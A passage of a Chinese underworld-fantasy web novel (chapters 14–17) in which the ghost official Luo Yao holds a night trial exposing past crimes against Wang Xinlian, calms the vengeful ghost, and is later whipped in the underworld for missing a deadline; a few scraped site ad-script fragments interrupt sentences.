后背忽然贴上温热的手掌,源源不断的神力灌到了身上,可并没有让洛遥的伤势感到舒缓,反而有些不适,“不用费力,如此磅礴的神力我恐怕承受不了,等回了地府我再用阴气疗愈。” 神力对于妖鬼之物是一剂强力补药,但卫凌已经活了万年之久,把如此神力放在新生小鬼身上,不亚于给小孩子灌人参大补汤虚不受补反倒要了小命。 卫凌第一次觉得自己神力无用,想着要不要抓几只小鬼给她补补,但想她肯定不同意只好作罢。 洛遥不知道卫凌让她吃鬼补身体的想法,若是知道对他嚣张霸道、残暴不仁的刻板印象又要加重。 14. 第 14 章 城中又多了一桩命案,李善人死在了自己府邸,全身骨头碎裂,作案手法令人发指,但凶手不知所踪,府上的一群小道士全部负伤,直言是王心莲鬼魂寻仇。 一时间曾经王心莲死后必化厉鬼向沁阳百姓索魂的流言至此传开,城中人心惶惶,但也有人不信鬼神作乱之言,一时间争论的声音变成两派。 *** 子时前来参加王心莲鬼魂作乱案的百姓从府衙挤到了大街上,惊惧、好奇在每一张脸上浮现,他们伸长脖子望着公堂之上秀丽文雅的女子议论纷纷。 “一个女人竟然敢坐在公堂上县令的位子上,这小娘子是什么人?” “好像是城中那个发米粮的富商夫人吧,看,那个富商就站在她旁边呢。不过,怎么是他们审案子,县令大人去哪了?” 无人应当,堂下的捕快更是无一人敢多言,起初被一个小娘子拦住通知他们晚上审王心莲案子时,只当这个小娘子得了失心疯竟然要审死人,当即就要把人轰出去。 那小娘子也不恼,只是把脑袋忽然拧下来放在手心,用掉了的脑袋说‘我乃地府阴差,现在能劳动你办事了吗’,当场就有人直接吓晕过去。 没晕过去把晕过去的人掐醒哆哆嗦嗦抖着腿下去安排,于是就有了现在的一幕。 夜间审鬼闻所未闻,站在堂下的捕快腿脚颤抖,生怕堂上的人真把王心莲的魂魄给召过来。 堂惊木一声肃响,所有人都一个哆嗦。 “升堂!” “沁阳几位米粮商死亡的案子,经过本官调查确实为前县令夫人王心莲所为。还有如今的县令赵霍和米粮商李为利以及其府上的老道长皆死于王心莲之手。” 底下议论声更甚,完全不担心洛遥会听见。 “这小娘子疯了吧,我昨天还见着赵县令呢!王心莲都死了多少年,怎么偏偏这时候出来?” “对啊,哪来的小娘子张口狂言,竟然把案子赖到死人身上。” 洛遥抬手止住众人喧闹声,打着摆子的捕快便从里面抬出三具的尸体,遮盖尸体的白布掀开,哗然一片。 死一般的寂静在空气中蔓延,五个受伤的小道士从人群中走出,望着地上几乎看不出面貌身体诡异扭成一团只能通过道士袍辨认身份的人形物体泣不成声。 那是他们的师父居然被王心莲折磨得不成人样。 “我们可以作证,当日有一女鬼自称王心莲来到李善人府中将李善人折磨致死,我几人发现后,合力阻拦但不敌厉鬼手段让她逃了。” 几人很是羞愧,眼底更红,“...我们对不起师父。” 刚才叽叽喳喳的百姓全部傻眼半天说不出话来,恐惧爬上每个人的脸,若真是王心莲所做,那就意味着多年前流传的预言成真了。 沁阳百姓要大祸临头了。 有人仍在内心挣扎,不肯相信,直到公堂之上的女子,忽然拿出一个黑色令牌,嘴中念道: “阴差缉魂,听召即来。” 地上躺着的三具尸体忽然冒出三道虚影,仔细看正是地上三人模样,离得近的捕快差点晕过去,好在被旁边的人扶住了,刚才一个个往公堂里挤的百姓,连连后退,哆哆嗦嗦抱作一团,生怕挨上那三团影子。 公堂之上的小娘子凭空变换了模样,依旧是那张秀丽的脸没错,只是官服官帽加身,一身威严叫人呢不寒而栗,就是个女子也不敢让人说出半句轻慢的话。 此刻的洛遥,一举一动都叫卫凌目不转睛,他不知洛遥竟也有如此威严的一面,官服加身还真有些唬人,那双明眸温情消散,不见笑意,只有不可冒犯的庄重。 旁人若见了只会生出恭敬之意,但卫凌不一样,他直心痒痒,恨不得洛遥穿着一身官服在面前多转上几圈,才好消了心头的痒意。 三人见了堂上鬼差就要跑,直到一声: “缚。” 几人便被铁链缠身,压着跪在公堂下,洛遥冷笑,“鬼差召令也敢不从。” 心中有愧,无人不怕地狱的召唤。 惊堂木一声拍下,“我问你们三人是何人所杀?” “是王心莲。”三人几乎把头埋在了地上不敢面对堂上那双漆沉的眸子。 “那王心莲为何杀你们?” “因为我们曾经和百姓抢了府衙的私藏赈灾粮?”赵霍吞吞吐吐回答,“可我们也是为百姓考虑,要不然有多少人会因此饿死,若是大人因此定罪,下官......不,我赵霍甘愿受罚。” 虽已经过去十年,但仍有不少百姓听说过当年的事情,要不是因为赵霍拼命相助,他们还不一定能从当年的水灾中活下来。 如今见赵霍枉死纷纷为其求情,“鬼差大人,赵大人此举都是为了我们考虑,您可不能乱杀无辜啊!” “是啊,赵大人虽杀了人,但是为了替天行道,难道不应该褒扬吗?” 面对百姓的求情,赵霍一直慌乱的心终于定了些,可头顶却传来一声冷笑,“当本官是受你们蒙蔽的愚民百姓,你们三人事到如今仍旧嘴硬,不仅要罚,还要没入拔舌地狱偿还搬弄是非的罪孽。” “你们既然不说实话,即刻押你们受刑!” 三人那点侥幸的小心思被打破,不敢置信此等不审先上酷刑的雷霆手段,纷纷吓白了脸,猛然抬头,却看见一张无比熟悉的脸。 “怎么一个个都不敢抬头看本官,可对本官的脸还熟悉?” 刚才几人见到那黑沉沉的官服,根本不敢直视,如今才发现此人竟是之前富商的小娘子,赵霍还把她当做狎昵的美人。 那富商显然不是平凡人,一把凭空飞来的红缨枪就硬生生打断了他的双腿,直到现在腿上依旧泛疼。 地府的人原来早就盯上了他们,他们还一无所知。 耳边百姓的求情声,已经听不进去心里,阴沉的冷气从脊背爬上天灵盖,眼里只有灰败。 “就算是鬼差也要明辨是非,怎么能用屈打成招的手段。” “杀了两个恶人也要收到如此刑罚,难不成替天行道也有错!” 虽然人人怕鬼,但现下围观百姓有数百人,渐渐胆子都大了起来。 王心莲恶魂已经屠杀数人,说不定下一个就轮到他们,可这鬼差的态度竟然偏向恶妇王心莲,要处置帮助他们的赵大人,不分青红皂白和狗官有何区别。 “你若是不能主持公道就派个主持公道的人过来,若是屈打成招我们沁阳的百姓都不服。” “对不服,当官的什么时候有女人了,就这种黑白颠倒的判法,你的官位难不成是通过什么不正当的手段得到的。” 说话的男人死死盯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着洛遥身上那套漂亮官服,眼里只有害怕但无半分敬意。 洛遥感觉身边气场迫人,果然是卫凌要发作的样子,藏在宽大袖袍下的手捏了捏卫凌,运在掌心的法光骤然消散。 卫凌脸色骇人,一双眸子盯着人时血腥味翻滚,久经沙场的杀气不是普通人能够承受,男人不依不饶叫骂的话就堵在了嘴里。 他撇开男人的眼睛,转眼又被另一双阴冷的眸子锁定,“你不知道世界上还有女官是因为你无知。” “既然无知,还不闭嘴!” 洛遥甚少发脾气,又生了一副好样貌,不像那些牛鬼蛇神光是奇特狰狞的长相就把犯人吓破了胆,因此,在她手下的犯人狡辩的不在少数。 不过,后来洛遥发现,地府才不像人间这般宽容给你辩解做假证的机会,那些死不承认的全都在刑罚堂走一遭什么东西全都吐出来了。 刑罚堂有专门审问的明镜,能查犯人往事,所言真假一览无余。 因此,她便形成时刻冷着脸的习惯,若是依旧不服死咬不认的直接拖去刑罚堂。 “本官审问,你在堂下喧哗,既对本官判处有异议,那你可有为这三人辩解的证据?” 那人张了张嘴,半天说不出话,在洛遥嘲讽的眼神下只好硬着头皮说,“有人证。” 一个青年男人被他拉了过来,那男子拱手道:“草民——” 一只手抬起打断,“既要伸冤辩护,还不跪下,你二人难道要藐视公堂?” 两人愣住,犹豫了片刻,才不甘不愿跪下,这种眼神洛遥已经看过无数遍,不过一般审完之后没有还敢于直视的。 男人挺直脊背道:“十年前水灾,草民是亲身经历,若不是府衙扣押粮食,我的母亲妻儿都不会饿死,只剩我一个苟活人间。” “王心莲夫妇二人罪行不容饶恕,请大人收押王心莲恶魂,为沁阳枉死的百姓平冤。” “胡言乱语!”堂上一声厉呵,“你的母亲死于水灾之中,妻儿和你侥幸活下,但是却染上风寒,加上水灾断粮,情况愈加严重,若不是县令夫人用自己嫁妆从奸商赵霍、李为利手里买来粮食救济你们,你们早就饿死。” “不可能,明明那是我们的赈灾粮.......” “到底是谁告诉你们那是赈灾粮,你们可否亲眼所见,还是仅凭几句流言蜚语就当做真相,好叫你们哄抢县令府上的时候,良心不受谴责!” 两人面色惨白如纸,他们确实没有实实切切的证据,所得到的消息也全都从他们嘴中听到,没有人敢去想那不是赈灾粮怎么办。 因为这意味着所有人都参与了一场毫无人性的犯罪。 质问步步紧逼,“十年了,当真没有人怀疑吗?只要你们去打听当初赈灾的官粮何时下来一查便知,还是你们一个个都不敢!” 深不见底的眸中只有浓郁幽深的黑暗,扫视堂下每一个逃避闪躲的眼神,“不敢认是你们将武朗抛尸荒野,是你们挖的坑,将王心莲钉死在棺木中,用锁魂钉困让她永世不得超生。” “此等罪行,皆为天地所知,堂下罪犯还敢妄图狡辩。” 清脆惊堂木声惊倒一片黑压压跪在地上的人,显得站在堂下相互搀扶不敢置信的五名小道士尤为突出。 “赵霍尔等三人还不将罪行从实招来!” 15. 第 15 章 “大人我等有罪!” 十年了,还以为这件事情神不知鬼不觉就能过去,可当初所做之事每一处细节全都暴露天光之下,仿佛堂上人就在他们作案时亲眼目睹,几人哪敢再狡辩脱罪。 “是我和李为利当初不满武县令征收我们的私粮毁了我们趁机捞钱的机会,才故意散播县令吞了我们赈灾粮的谣言。” 洛遥看向像鹌鹑缩在角落的其余二人,“你们就没有什么坦白的,若是没有本大人可要就此结案了,若是地府查出你们罪行仍有缺漏,少一条,刑罚便再加一重。” 好似一鞭抽在身上,两人浑身一个激灵,老道士磕头认罪,“草民也有罪,为了避水灾饿死的天命,帮助赵霍为非作歹,散布王心莲死后必化厉鬼寻仇的言论扰乱民心。” 堂下原本意气风发、一心除恶的小道士们全都稳不住脚步,“师父你在说什么?你不是告诉我们要除魔卫道,正心善念吗?难道这都是假的。” 每一句师戒他们都不敢忘,惩恶扬善是他们从小坚持的信念,可现在他们要除的魔是饱受迫害的好人,言传身教的师父是助纣为虐的魔鬼,那他们又是什么? 魔鬼手里的爪牙吗? “我们究竟做了什么?居然联手要杀王心莲。” 小道士们再也撑不住,对着青石板砖块用力磕下头,直到额头渗出血迹,“大人,我们也有罪。” 老道士浑浊的眼珠子霎时通红,滚烫的眼泪从眼角落下,“苟且偷生,强留人间有违天道,我自愿受地府责罚。” 剩下最后一个李为利。 “趁乱将米粮炒到二十倍价格是我的主意,也是我煽动百姓去抢夺府衙粮食的,大人,求您开恩,莫要加重刑罚。” 堂上鬼差不为所动,“还有呢?” 明察秋毫的眸子洞察一切,李为利支支吾吾,“多年来,赵霍狎昵美人也是我暗中将那些姑娘绑住通过府上密道送至县令府。” “王心莲在寺庙遭...贼人侮辱是我暗中派人,那些流言全是凭空捏造,因为我和赵霍抓到了王心莲的乳娘知道了王心莲身上恰好有胎记,才有了后来的主意。” 洛遥:“继续。” 虚汗越来越多,“后来,沁阳米粮生意逐渐兴旺,吸引不少米粮商人来此,我的生意也其他人影响,于是和赵霍商量放出王心莲的魂魄,让她杀了那些人,好一家独大。” 赵霍死死盯着李为利,“你自己认罪扯上我做什么!” 这下罪名岂不是又要多上几条。 李为利人如其名,利益为重,他做了这些事也必要说成是赵霍带头指使,好让罪行不全都压在他一个人头上。 “难道不是你贪心不足,想谋取县令官权。又怕有心人查出当年冤案,所以故意让说书人写了那本话本子,误导真相?” 堂下一片死寂,没人不知道那本大名鼎鼎的风月话本子,没人私下没有观摩过画里的内容,又在观摩之后极尽污言秽语。 “说书人何在?” 堂下无人出头,洛遥察觉一人鬼鬼祟祟小声张望后几乎把头埋在地板,冷笑,“不自己出来,难不成等着本官下去请你?” 卫凌瞧着地下一群发怂的人,拿出红缨枪,“我看不是没人知道说书人是谁,只是都不想指认。” 他笑眯眯对洛遥道:“大人可有鞭子,我下去为您抽上一圈,看看到底是那一张嘴硬,还是一身皮子硬。” 凶神恶煞的男人开口就是极其血腥的话,唬得堂下百姓脸色煞白,洛遥忍住笑,郑重点头,拿出一根魂鞭,“此鞭不伤□□,专抽恶魂,伤及魂魄,打在身上犹如刀割凌迟,痛不欲生。” 卫凌认出了这根鞭子,闻言挑眉似乎在说‘初次见面你就是用这根鞭子抽的我’。 洛遥一个眼神回怼‘那还不是因为以为你要杀我’。 嘴角笑意弥漫,卫凌半点也看不出生气的模样,拿着鞭子就往堂下走,每走一步,跪着的人都磨蹭着膝盖往后退,眼见鞭子快落下,眼尖的人发现藏头藏尾的说书人,一脚踢在他屁股上。 头发发白的说书人直接飞到卫凌脚下。 削薄唇边勾起,“这是滚过来领鞭子了。” “大人——啊!” 没等说书人求饶,鞭子便已经落在背上,凄厉的嘶吼声冲破耳际,说书人痛得满地打滚,但身上却不见伤痕,众人才见识到洛遥口中魂鞭的厉害。 叫声越是凄惨,越是对堂上云淡风轻的人感到恐惧。 人畜无害不代表心慈手软,温顺好拿捏只是洛遥给人的第一印象,但没有不会为这第一印象感到后悔。 “够了。” 见他还想抽第二鞭,洛遥连忙阻止,生魂受不住魂鞭的伤害,卫凌下手又没有轻重,再来一鞭还真不确定会不会把人打死。 “算你好运。” 卫凌一鞭子抽在了旁边的地板上,地上瞬间裂开一道长缝。 这种人若是在他军中早就被他抽死了,哪里还能等到开口的机会。 说书人总算能缓过一口气,从刚才的痛苦中过去,就听见铁面无私的阴差又道:“还不招认,再加一鞭。” 凶神恶煞的男人没有离开,站在他身边,手指在鞭子上磨蹭,似乎等在再抽,哪能再抽呢,再抽他的小命就不保了。 “大人,是赵霍让我写的啊,赵县令有令草民岂敢不从。” 赵霍见他把责任全都推在自己身上,啐了他一脸唾沫,“放屁,我可没有把刀架在你脖子上,你先开始随便写了一本挣了不少银子,后来发现话本子销量骤增,根本停不下笔,也是我逼你的?明明是你自己尝到了甜头不肯放下,一个话本子,抵你写了半生的寒酸诗。” 能拖一个下水就下水,凭什么都把脏水往他一个人身上泼。 “要不是你逼我,我不可能走出那一步,我哪知道县令夫人受你迫害,还以为在做昭示罪行的义举。” “你个老鳖货,还不承认。” 洛遥没有让他们继续狗咬狗下去,“你们的罪行应受何等处罚地府自有评判。” 说书人吓白了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脸,“大人,我还没死,难道也要去地府受罚?” “你阳寿未尽暂不羁押地府,”说书人又听她道,“等阳寿耗尽,本官亲自带人拿你,届时按罪处置。” 一把刀虽然没有落下,但已经知道终究会落下,在提心吊胆等死的日子里说书人不会好过,男人牙齿打颤几乎要昏死过去。 她拿出鬼令,不一会儿,就有两名戴着镣铐的鬼差凭空而来,将三人缉拿。 “有劳二位。” “洛大人传唤我们自当马不停蹄赶来。”两人将几人捆了个结实,临走时不忘告诉洛遥,“殿主等着洛大人的好消息,届时我等必会设宴恭迎大人。” 原来这两人是殿主派来督促她任务进度的。 拱手正色回应,“洛遥必不辱命。” 罪人带走,这桩案子也算结了,她踏着登云靴从高堂走下台阶,目光下视,“举头三尺有神明,尔等所作所为皆为天地共知,地府向来没有法不责众的概念,只有按罪论处。” 洛遥又把悬着的刀放在了每一个跪在堂下的人,“诸位不妨想想平生所做亏心事,也好在寿尽入地府之审问时想不起来。” 活落有人面色惨白,有人吓晕过去,有人掩面痛哭,至于到底是悔过,还是害怕就不得而知了。 见她吓唬人的神气模样卫凌忍不住发笑凑到她耳边,“洛大人好大的官威,我都要折服在大人的威严之下。” 洛遥乜斜他一眼,“知道本大人的官威就好,日后你敢欺辱本大人必叫你尝尝魂鞭的厉害。” 已经尝过一次,再尝一次也未必不可。 “洛大人威严震慑,我哪敢欺辱大人。”怕是疼还来不及。 “给我。”洛遥伸手要鞭子,卫凌有些爱不释手,“这魂鞭虽好,但也不是上等兵器,要不你把它给我,我给你再寻一个上等法宝。” “你要鞭子干嘛?” “当然是做定情信物。” 洛遥气急直接抽走,“什么定情信物,这鞭子可是留着日后抽你的。” 卫凌目光揶揄,洛遥自知失言连忙补充,“是你要冒犯我才抽你。” 卫凌不在乎,“行,就留着你以后抽我。” 不是,你为什么一脸笃定自己会被抽的样子。 洛遥不知自己一语成谶,日后被欺辱到忍泪痛呼,把鞭子抽在冒犯自己狂徒赤裸的背上。 *** 人群渐散,一人凭空落下,拦住去路,“诸位怎么都着急着走,不留下和我谈谈呢!” “王心莲,是王心莲!!!” 不知道是谁的牙齿在打颤,刚才不敢接近洛遥的人纷纷靠过来,比起杀人不眨眼的厉鬼,铁面无情的洛遥明显可靠许多。 王心莲的视线落在洛遥身上,随后看向藏在人群中的说书人,嘴角咧开猩红的笑容,“找到你了。” “啊,不关我的事,大人救我。” 说书人知道王心莲是找自己寻仇的,吓得屁滚尿流,洛遥闻着一股尿骚味朝自己靠近,连连后退。 16. 第 16 章 王心莲一出现卫凌就挡在洛遥前面,生怕这个女人冲过来,又要对洛遥挖心挖肺,洛遥已经身受重伤,恐怕不能再遭受一击。 她看着卫凌,“你跟我斗也讨不到好处,此事与你们无关,看在你身后小鬼为我犯案的份上我不和你们作对,你快让开。” 洛遥拉开挡在面前的卫凌,“王心莲你还打算杀多少人?” “哼,我杀多少人你管得着,就是把沁阳全部屠尽又如何?” 她见小鬼差头摇了又摇,语重心长叹了一句,“王心莲你糊涂啊!” “......” “天上有数万神兵,地府阴兵无数,你当着一个神界和一个地府代言人面前大放厥词,恐怕没过多久就要豪言壮举成空谈。” 王心莲没理解‘代言人’什么意思,但也从她这句话悟出了大概。 “到时候你的仇恐怕不仅报不成,你那天庭望妻石的丈夫也要一个刺激受不住要下去和你作伴。” “武朗在天庭?”王心莲心头震撼,她还以为武朗遭受道士迫害已经魂飞魄散。 “他已经功德圆满自然飞升成神,本来你也应该就此渡往天界,但却被道士锁魂,又背负上数条无辜性命,业障未消,因而还差一步。” 洛遥继续击溃她的心里防线,“也许你并不知道你们是十世夫妻,命运早就息息相关,密不可分,难道你要就此放过永世相守的机会?” “十世夫妻,永世相守......” 她喃喃自语,不知觉落下泪来,洛遥乘胜追击,“你本受恶人胁迫,罪孽不重,只要你跟我回地府认罪,我会想办法尽早让你洗脱业果。” “谢谢你,洛大人,我不曾想差点杀了你,你还为我平冤。”‘ “身为鬼差,帮阴魂平冤本就是我的职责所在,岂会因为个人恩怨置之不理,”洛遥笑容俏皮,“况且你把我打进棺材时不也渡了我一掌阴气,不然被佛心半神挖心掏肺的我还能活?” 被打进棺材里她被槐树藤包围,槐树妖因王心莲怨气幻化而生,她因此看到了王心莲成年累月的痛苦,醒来后,发现胸口上的洞好了大半,才意识到王心莲那一掌是给她渡了阴气。 王心莲只想利用她拖住卫凌,或许,内心也有帮她平冤的期待。 “果然瞒不过洛大人的法眼。”她笑容黯淡,眼底忽然生出一股狠戾,“但他今日必须死。” 尖锐的长指在伸进残破的胸膛时堪堪停住,卫凌被洛遥吓出一身汗,差点就拿红缨枪捅出去,好在王心莲及时收手。 洛遥手心也冒了一层虚汗,仍旧一脸无畏,心里疯狂呼叫,好险好险差点去见阎王了。 “我在这里就不会让你杀他。” 王心莲戾气暴增,漆黑的长指又长了几分,“他无德无品,我死后还要被他编排任人取笑,难道不该死吗?” “他当然该死,就是死一万次也不为过,但是这种垃圾不值得你脏手。” “卫凌。” “在。” 洛遥只见红缨枪已经放到了说书人的头上,不禁疑惑,“你干嘛?” “不是让我斩了他的头吗?” “我的话真的很容易让人误解吗?我是让你看住所有人一个都不要跑了。” 她又补充道:“我和王心莲说些体己话。” 王心莲被她一番举动弄得摸不着头脑,但浑身戾气已经收敛,卫凌回头一看果然有人趁机溜走,于是用红缨枪就地画圈把所有人困住。 洛遥内心直呼好家伙,好酷炫的孙悟空圈唐僧技能,这逮人岂不是跟逮小鸡一样。 “洛大人有什么话要和我私说,如果是为那老匹夫求情的话就免了。” “说是求情也是,说不是求情也是。” 王心莲当即要走,被她伸手拉住,“等等,我早就看了此人的命册,只剩五年寿命,忧惧而终。” “生死不过一瞬间,一瞬间的痛苦和五年相比如何,好比快刀斩肉只需抬手一挥,而钝刀割肉要忍受长年累月的痛苦。” 王心莲觉得此刻的洛大人有点奸诈,虽然依旧一脸正气,但嘴角泄露的笑容不免幸灾乐祸。 “洛大人的意思是?” “我已经跟他说了等他死后立刻缉拿他去地府受刑,你说他怎么能不怕,只怕是晚上都不敢睡觉,想着自己到了地府先是下油锅,还是过刀山,加上又有仇人时刻想杀他报仇,只怕恨不得当场去死。” “但他当然不敢死,死了又得不到解脱只有地府的刑罚在等着他,这就是物理伤害更叫人痛苦的精神折磨。” 听完,就连王心莲也不得不佩服,“洛大人当真......冰雪聪明。” 明明是奸诈至极,真不知什么样的父母教出这样的滑头。 察觉她面有松动,洛遥凑到她耳边献上一计。 卫凌瞧着她面带春风地和王心莲一同过来,便知她已经说服了王心莲,可王心莲恨意如此之深,能就此放下,他也不免好奇洛遥用了什么妙计。 很快卫凌就见识到了洛遥堪称一绝的妙计。 王心莲走向说书人,洛遥示意卫凌不用再拦,于是便收了红缨枪。 众人眼睁睁看着厉鬼走进圈内,尖叫逃窜但就是出不了圈子,青莲绣花的鞋子踩在了说书人背上,“今日不杀你,是不想落洛大人的面子,但不代表我会就此放过你。” “放心日后我自会找你,你撰写的书册一日还在,我便光临你一日。” 说书人痛哭流涕,“我回去就烧了所有的话本子。” “烧了怎么算完,沁阳县可到处都是你写的册子。”她看向惊恐的人群,笑意冷到了众人心里,“所有藏着书册的人我都会去光顾的,大家不用担心厚此薄彼。” 谁想你光顾啊!那岂不是小命都没了。 所有人都不敢承认自己私藏了那本见不得人的风月话本只想着一回去就烧了免得一天忽然被厉鬼找上门来。 “这就是你的妙计。”卫凌闷声笑道。 这小鬼怎么会如此有趣可爱,真是越看越喜欢。 洛遥不觉难为情,脸上流露骄傲,“怎么不算妙计,难不成你有更好的?” “没有更好的,洛大人此计甚妙,恐怕日后沁阳再也不会出现风月话本了。” 笑意融化了,眸中陈年不消的凶煞狠戾,让他瞧着像极了温顺的大型狮子,洛遥瞧着都有点想撸他头了。 直到王心莲训完话,卫凌才把战战兢兢的人们从圈里面放出来,只不过一个个都已经手脚发软,几乎是连爬带跑的离开。 这觉得是他们最后悔看的一场热闹,最后的热闹变成了他们永远缠绕心间的噩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 梦。 王心莲看着卫凌语气犹豫,“听洛大人说,夫君如今在你部下,我能不能见他一面?” 虽然不久前还在和王心莲针锋相对,但心里却对她没有多少怨恨,甚至有些佩服这般敢爱敢恨的女子,最起码比他军里那个一天到晚哭哭啼啼喊着要媳妇丢尽他面子的蠢货好。 向来奉行流血不流泪卫大将军不懂一个男人怎么能长了一根毫无骨气的软骨。 “我来就是为了让你们夫妻团聚的,不过你们只能见一面,之后还要随洛大人回去。” 王心莲万分感激,“这是自然,我必不会让洛大人难做。” *** 深夜里,有一青年人奔驰荒野,对着土堆起伏的无名荒坟磕头哭泣,一边哭着一边扇自己巴掌。 “我真是蠢货,为什么没有相信大人。” “沁阳的父母官被我们亲手逼死,再也没有守护我们的靠山,为我们殚精竭虑,为我们挡风遮雨、真心相待,我们的保护神是我们亲手杀死的。” 青年人磕头不停,山重的罪孽让他抬不起头,整个人匍匐在地,直到天明。 *** 卫凌带王心莲离开后,洛遥回了趟地府,一见她回来,小鬼们纷纷上前迎接,为她掸衣尘,躬引路,殷勤之态从未见过。 “洛大人此番回来,必会被殿主重用,自此青云直上。” “此番查账,关进炼狱中的不知数几,殿主偏偏夸了您,想必是对您抱有厚望。” 小鬼们说着往后看了看,“怎么不见那十世善魂王心莲呢?” 洛遥有些尴尬,“过几日我便带她回来。” 小鬼们纷纷噤声,殷勤之态全都收了回去,心里想着难道洛大人任务失败了。 不过看样子,十之八九还真没完成。 小鬼们很快散去,洛遥心里倒没有什么波动,谄媚迎合她早就在地府就见惯了,这群小鬼就是风吹两边倒的墙头草,哪里有利哪里倒,若是真在意了,日后不得意时难免受其所害。 没过多久,就有鬼差带来殿主传唤令,洛遥来不及整理仪容便匆匆赶去。 面见时的问话果然不出她所料。 “王心莲呢?” 洛遥的低下头不敢看他,“王心莲有一丈夫已经荣升天界,我和王心莲商量好,同意她先去和丈夫见上一面再回地府。” “带她去天界的,是天庭派来的人?” “正是。” 高座上的人神色不明,手指一下一下敲在蟒蛇交椅的蛇头上,“洛遥我还以为你是个聪明人,没想到竟然如此单纯敢放王心莲回天界。” “殿主,难不成有问题?”洛遥直觉自己应该是犯了什么蠢事,不然上座的气息也不会如此恐怖。 “十世修得佛心的人你当是地上的大白菜随处可见,西天的那群和尚见了这个好苗子焉能不动心?” 完了,她哪知道神界这些复杂情况,只是想着见一面能出什么事情,殿主此言恐怕是说王心莲不会再回来。 那她的任务岂不是失败了。 “念你不知情况,本殿不削你官职,若三日后,王心莲还未回来,自行去刑罚堂领鞭吧。” 洛遥跪在地上不敢反驳,“多谢殿主开恩。” 只有三日时间,卫凌会把王心莲带回来吗? 17. 第 17 章 第一日,洛遥闲暇无事,整日躺在榻上喝茶看杂文游记,实在躺不动了便出门走两步,路过忘川奈何桥发现河里沸腾翻涌,一群群断手断脚的小鬼在扑腾挣扎,有一个瞧着眼熟的俨然是拿她背锅的前上司, 这些都是弃子,奉行实用主义的地府,不会供养只会偷奸耍滑的米虫。 想到三日期限,一番闲情雅致彻底没了。 匆匆走过奈何桥,步入彼岸花丛中,闻着并不明显的花香,耳边终于清净。 第二日,依旧未见归迹,洛遥把整个酆都城都逛了个遍,感受了以前从未来得及感受的鬼城芸芸众生。 身如浮萍的妙音娘子,抚琴清歌。 郁郁不得志的白发诗人醉酒赋诗。 擦拭锈剑的少年侠客沉默不语... 他们的故事洛遥无从知道,只听着悠悠转转的歌声,心魂渐远。 第三日,期待许久还是未得半点消息,她已经无法说服自己王心莲只是久未和丈夫相聚不忍分离,殿主的话犹在耳侧,西天那边的神佛不会放过王心莲这个好苗子。 这对于王心莲也是个不错的出路,但对于她而言是死路一条。 她把口袋里为数不多的俸禄全部给了妙音娘子,妙音娘子推搡着不肯多收,直到说她的曲子值得起妙音娘子才笑着接受。 其实,洛遥是觉得自己不一定能撑过地府鞭刑。 她怕痛,被带细钩的鞭子抽得血肉模糊躺几个月,还不如让她直接死了。 回去后,洛遥埋头公文之中,麻痹大脑不要多想,什么压箱底的公簿全都被翻了遍,又按照时间、内容重新排列,才终于让她的办公之处看起来像个书房而不是垃圾堆。 门外已经等候许久的鬼吏提醒,“洛大人三日期限已到,请随我们去刑罚堂。” 一字一句使得洛遥心如死灰,拖着步子才从房间里出来,看见一左一右站在门外的鬼吏。 两人还算给洛遥面子,没有用镣铐压她过去,见她也是恭恭敬敬说句请。 见她神色紧张,安慰道:“洛大人不用紧张,鞭刑已经是最轻的刑罚,顶多就痛上一个月就能活蹦乱跳,可见殿主对您还是器重的。” 可真谢谢,躺在床上一个月谁能不疯啊!她就不信真的有鬼能扛住。 “二位大哥,真没有受不了痛晕过去的吗?” 鬼吏似乎听到了什么好笑的事情,“我们又不是磕不得,碰不得的肉体凡胎,只要不伤到魂体就能安然无恙,最多痛点罢了。” 洛遥怀疑他们忍痛惯了,所以,对于鞭刑都能看做嘉奖,自我洗脑感动领导器重我,恨不得衔环结草以报恩德。 可惜洛遥实在没有办法与他们共情,哭丧着脸一路不语。 到了刑罚堂,看着等待她的一米多长全是倒刺一鞭下去能撕破皮肉的刑具还是怂了,“两位兄弟,请问能不能让我在行刑之前喝口麻药。” 两人面面相觑,“这点痛,完全不需要用到麻药,相信我洛大人很快就会过去的,殿主只说罚九鞭。” 不是我相信你,她是怕自己会控制不住嗷出来,成为整个地府的笑话。 “不行,二位兄弟,还是帮我买点麻药吧。” 许是,洛遥的眼神太过于诚恳,两人有些为难的说,“洛大人并不是我们不想帮你而是刑罚堂麻药都登记在册,就算是取用也要说明缘由,殿主绝对不允许将麻药给犯人私自使用。” 洛遥打定主意实在不行就死皮赖脸哭求,哪知看见门口一片玄色蟠龙衣袖眼泪就硬生生憋了回去,两名鬼吏也收敛神色,严肃退到一边。 “洛遥,我已经给了你三天时间,如今王心莲一去不返,我罚你九鞭,可有怨言。” 顶着头顶的压力,洛遥低头,“不敢。” 头顶声音淡淡,“既然如此,那便行刑吧。” 殿主在一旁看着,两人不敢放水,将洛遥拖到一旁椅子上,拿起了一旁的鞭子。 铁鞭寒光凛冽洛遥不敢再看,趴在凳子上狠狠咬牙。 一人看着洛大人像旁边的殿主问道:“可要将洛大人的外衫褪去。” 洛遥心头一跳,就听见一声,“不必了,开始吧。” 刚落下一鞭,就疼得浑身蜷缩起来,死死咬住牙关才没有大叫,冷汗爬满额头,后背火辣辣刺痛,虽然被衣服挡了大半伤害,但也叫她半天缓不过来。 她忍不住问:“殿主,我可不可以不做官了。” “可以,罚完之后送你入轮回,不过你功德不够,出身恐怕不会太好。” “算了,我刚才只是脑子糊涂了,我还是继续为您办事吧。” 做鬼最起码是个不大不小的官,当人却是穷苦无休天天接受老板洗脑的社畜,还比不上现在的处境呢。 后背劲风起,又是一鞭要落,却被忽然闯进刑罚堂的小鬼叫停。 “殿主,一位神官带着一个叫王心莲的阴魂候在酆都城外说要叫洛大人。” 听到犹如天籁的名字洛遥猛然从椅子上爬起,扯到后背伤口皱着眉头嘶了一声,“是王心莲她回来了,殿主......那现在还罚吗?” 惨白的小脸实在可怜,殿主抬手道:“刑罚到此为止,去把王心莲带回来吧。” “我这就去。” 洛遥脚步飞快,一步也不想在此地久留,就连衣服也没换,一路跑到了城门口。 “洛大人。” 远远见着洛遥脚步有些虚浮,近看脸色更是煞白发青,比以往苍白的面色看上还要差些,仿佛命不久矣的病秧子。 “洛大人这是怎么了?” 